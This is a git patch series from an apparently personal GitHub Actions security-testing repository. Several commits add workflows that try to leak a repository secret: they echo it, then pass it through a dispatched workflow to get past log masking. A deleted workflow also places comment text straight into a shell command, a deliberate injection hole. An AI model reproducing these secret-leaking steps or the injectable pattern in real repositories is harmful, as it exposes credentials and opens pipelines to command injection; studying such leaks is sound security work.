From 109ab8532ade3f48a9ba665d2911215a0f867918 Mon Sep 17 00:00:00 2001 From: Cal Date: Wed, 3 Sep 2025 11:55:52 -0700 Subject: [PATCH 1/7] Another innocuous commit. --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 56d35ac..4257ef4 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,4 @@ # GitHubActionSecurityTesting See what I can explore for insecure GitHub Action code. + +Another innocuous commit. \ No newline at end of file From bab77801ef1a8a282d5530f5f764fe4fbc63c6f1 Mon Sep 17 00:00:00 2001 From: Cal Date: Wed, 3 Sep 2025 11:59:21 -0700 Subject: [PATCH 2/7] Add malicious GitHub Action. --- .github/workflows/capture-the-flag.yaml | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 .github/workflows/capture-the-flag.yaml diff --git a/.github/workflows/capture-the-flag.yaml b/.github/workflows/capture-the-flag.yaml new file mode 100644 index 0000000..64274f8 --- /dev/null +++ b/.github/workflows/capture-the-flag.yaml @@ -0,0 +1,17 @@ +name: Print Secret CTF + +on: [push] + +jobs: + capture-the-flag: + runs-on: ubuntu-latest + steps: + - name: Attempt to reveal the secret + env: + API_KEY: ${{ secrets.API_KEY }} + run: | + echo "Attempt 1: Direct echo" + echo ${{ secrets.API_KEY }} + + echo "Attempt 2: Echo from an environment variable" + echo $API_KEY \ No newline at end of file From 410444ddc19259013f77dc1f27f39de21a12fdd7 Mon Sep 17 00:00:00 2001 From: Cal Date: Wed, 3 Sep 2025 13:16:38 -0700 Subject: [PATCH 3/7] Rework stealing API key to use workflow dispatch. --- .github/workflows/capture-the-flag.yaml | 17 ------------- .github/workflows/steal-api-key.yaml | 32 +++++++++++++++++++++++++ 2 files changed, 32 insertions(+), 17 deletions(-) delete mode 100644 .github/workflows/capture-the-flag.yaml create mode 100644 .github/workflows/steal-api-key.yaml diff --git a/.github/workflows/capture-the-flag.yaml b/.github/workflows/capture-the-flag.yaml deleted file mode 100644 index 64274f8..0000000 --- a/.github/workflows/capture-the-flag.yaml +++ /dev/null @@ -1,17 +0,0 @@ -name: Print Secret CTF - -on: [push] - -jobs: - capture-the-flag: - runs-on: ubuntu-latest - steps: - - name: Attempt to reveal the secret - env: - API_KEY: ${{ secrets.API_KEY }} - run: | - echo "Attempt 1: Direct echo" - echo ${{ secrets.API_KEY }} - - echo "Attempt 2: Echo from an environment variable" - echo $API_KEY \ No newline at end of file diff --git a/.github/workflows/steal-api-key.yaml b/.github/workflows/steal-api-key.yaml new file mode 100644 index 0000000..5e39b40 --- /dev/null +++ b/.github/workflows/steal-api-key.yaml @@ -0,0 +1,32 @@ +name: Steal API Key + +on: [pull_request] + +jobs: + steal-api-key: + runs-on: ubuntu-latest + + # to trigger other workflows. + permissions: + actions: write + + steps: + # This step checks out a copy of your repository + # so that git and gh commands have context. + - name: Checkout repository + uses: actions/checkout@v4 + + + - name: Attempt to reveal the secret + env: + API_KEY: ${{ secrets.API_KEY }} + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + echo "Attempt 1: Direct echo" + echo ${{ secrets.API_KEY }} + + echo "Attempt 2: Echo from an environment variable" + echo $API_KEY + + echo "Attempt 3: Send api key to a workflow dispatch, removing command line printing protection." + gh workflow run workflow-dispatch.yaml --ref ${{ github.event.pull_request.head.ref }} -f message="$API_KEY" \ No newline at end of file From 59e0b227e90cd75893ade4b5a00219c005e03536 Mon Sep 17 00:00:00 2001 From: Cal Date: Wed, 3 Sep 2025 13:24:53 -0700 Subject: [PATCH 4/7] Make dispatch printing a bit more clear. --- .github/workflows/dispatcher.yaml | 33 ------------------------ .github/workflows/workflow-dispatch.yaml | 6 +---- 2 files changed, 1 insertion(+), 38 deletions(-) delete mode 100644 .github/workflows/dispatcher.yaml diff --git a/.github/workflows/dispatcher.yaml b/.github/workflows/dispatcher.yaml deleted file mode 100644 index 9b939af..0000000 --- a/.github/workflows/dispatcher.yaml +++ /dev/null @@ -1,33 +0,0 @@ -name: PR Comment CTF Trigger - -# This workflow runs when a comment is posted on a PR -on: - issue_comment: - types: [created] - -jobs: - dispatch-the-ctf: - # IMPORTANT: This condition ensures the workflow only runs for comments - # on pull requests that start with the specific command. - if: github.event.issue.pull_request && startsWith(github.event.comment.body, '/run-ctf') - runs-on: ubuntu-latest - permissions: - # This permission is required to allow this workflow to trigger another one. - actions: write - - steps: - - name: Extract message payload from comment - id: get_message - run: | - # This command strips the '/run-ctf ' prefix from the comment body - # and makes the rest of the string available for the next step. - COMMENT_BODY="${{ github.event.comment.body }}" - MESSAGE_PAYLOAD=$(echo "$COMMENT_BODY" | sed 's/\/run-ctf //') - echo "message=$MESSAGE_PAYLOAD" >> $GITHUB_OUTPUT - - - name: Trigger the vulnerable workflow dispatch - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - run: | - echo "Triggering CTF workflow with payload: ${{ steps.get_message.outputs.message }}" - gh workflow run ctf-workflow.yml --ref ${{ github.event.repository.default_branch }} -f message='${{ steps.get_message.outputs.message }}' diff --git a/.github/workflows/workflow-dispatch.yaml b/.github/workflows/workflow-dispatch.yaml index 3064fcf..28ab1da 100644 --- a/.github/workflows/workflow-dispatch.yaml +++ b/.github/workflows/workflow-dispatch.yaml @@ -18,11 +18,7 @@ jobs: API_KEY: ${{ secrets.API_KEY }} # Make the secret available as an env var steps: - - name: Print the dispatch message (INTENTIONALLY VULNERABLE) - run: | - echo "The received message is: ${{ github.event.inputs.message }}" - - - name: A safe step for comparison + - name: Print the dispatch message securely env: USER_MESSAGE: ${{ github.event.inputs.message }} run: | From 1e1e60ad6497d708031f4c1a94e24a98e80cdace Mon Sep 17 00:00:00 2001 From: Cal Date: Thu, 4 Sep 2025 15:52:46 -0700 Subject: [PATCH 5/7] Add better printing around the workflow dispatching section. --- .github/workflows/steal-api-key.yaml | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/.github/workflows/steal-api-key.yaml b/.github/workflows/steal-api-key.yaml index 5e39b40..6d6f0ae 100644 --- a/.github/workflows/steal-api-key.yaml +++ b/.github/workflows/steal-api-key.yaml @@ -29,4 +29,8 @@ jobs: echo $API_KEY echo "Attempt 3: Send api key to a workflow dispatch, removing command line printing protection." - gh workflow run workflow-dispatch.yaml --ref ${{ github.event.pull_request.head.ref }} -f message="$API_KEY" \ No newline at end of file + if gh workflow run workflow-dispatch.yaml --ref ${{ github.event.pull_request.head.ref }} -f message="$API_KEY"; then + echo "Workflow dispatched successfully." + else + echo "Failed to dispatch workflow." + fi \ No newline at end of file From f729b8416d3dbe63c726750a2dc0fc06d8730204 Mon Sep 17 00:00:00 2001 From: Cal Date: Thu, 4 Sep 2025 15:54:30 -0700 Subject: [PATCH 6/7] Disable old check to see if workflows got dispatched. --- .github/workflows/prove-dispatch-works.yaml | 60 ++++++++++----------- 1 file changed, 30 insertions(+), 30 deletions(-) diff --git a/.github/workflows/prove-dispatch-works.yaml b/.github/workflows/prove-dispatch-works.yaml index b134f92..6ff5fd9 100644 --- a/.github/workflows/prove-dispatch-works.yaml +++ b/.github/workflows/prove-dispatch-works.yaml @@ -1,35 +1,35 @@ -# A basic workflow to dispatch another workflow -name: Dispatch Workflow +# # A basic workflow to dispatch another workflow +# name: Dispatch Workflow -# Controls when the action will run. -# This workflow now runs on pushes AND pull requests -on: [pull_request] +# # Controls when the action will run. +# # This workflow now runs on pushes AND pull requests +# on: [pull_request] -# A workflow run is made up of one or more jobs that can run sequentially or in parallel -jobs: - # This workflow contains a single job called "print" - print: - # The type of runner that the job will run on - runs-on: ubuntu-latest +# # A workflow run is made up of one or more jobs that can run sequentially or in parallel +# jobs: +# # This workflow contains a single job called "print" +# print: +# # The type of runner that the job will run on +# runs-on: ubuntu-latest - # This block grants the GITHUB_TOKEN the permission - # to trigger other workflows. - permissions: - actions: write +# # This block grants the GITHUB_TOKEN the permission +# # to trigger other workflows. +# permissions: +# actions: write - # Steps represent a sequence of tasks that will be executed as part of the job - steps: - # This step checks out a copy of your repository - # so that git and gh commands have context. - - name: Checkout repository - uses: actions/checkout@v4 +# # Steps represent a sequence of tasks that will be executed as part of the job +# steps: +# # This step checks out a copy of your repository +# # so that git and gh commands have context. +# - name: Checkout repository +# uses: actions/checkout@v4 - - name: Trigger the vulnerable workflow dispatch - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - run: | - # We'll use a simple string for this test - test_str='Hello from the trigger workflow!' - echo "Triggering CTF workflow with payload: $test_str" - # Use double quotes to ensure the variable expands correctly. - gh workflow run workflow-dispatch.yaml --ref ${{ github.event.pull_request.head.ref }} -f message="$test_str" \ No newline at end of file +# - name: Trigger the vulnerable workflow dispatch +# env: +# GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} +# run: | +# # We'll use a simple string for this test +# test_str='Hello from the trigger workflow!' +# echo "Triggering CTF workflow with payload: $test_str" +# # Use double quotes to ensure the variable expands correctly. +# gh workflow run workflow-dispatch.yaml --ref ${{ github.event.pull_request.head.ref }} -f message="$test_str" \ No newline at end of file From 9b9d6d939250f9e802d150fbde19556b79342ad2 Mon Sep 17 00:00:00 2001 From: Cal Date: Thu, 4 Sep 2025 15:57:34 -0700 Subject: [PATCH 7/7] Remove API_KEY as an env var so the print safety check is removed. --- .github/workflows/workflow-dispatch.yaml | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/.github/workflows/workflow-dispatch.yaml b/.github/workflows/workflow-dispatch.yaml index 28ab1da..e8f40ae 100644 --- a/.github/workflows/workflow-dispatch.yaml +++ b/.github/workflows/workflow-dispatch.yaml @@ -12,10 +12,8 @@ on: type: string jobs: - exfiltrate-the-flag: + exfiltrate-the-secret: runs-on: ubuntu-latest - env: - API_KEY: ${{ secrets.API_KEY }} # Make the secret available as an env var steps: - name: Print the dispatch message securely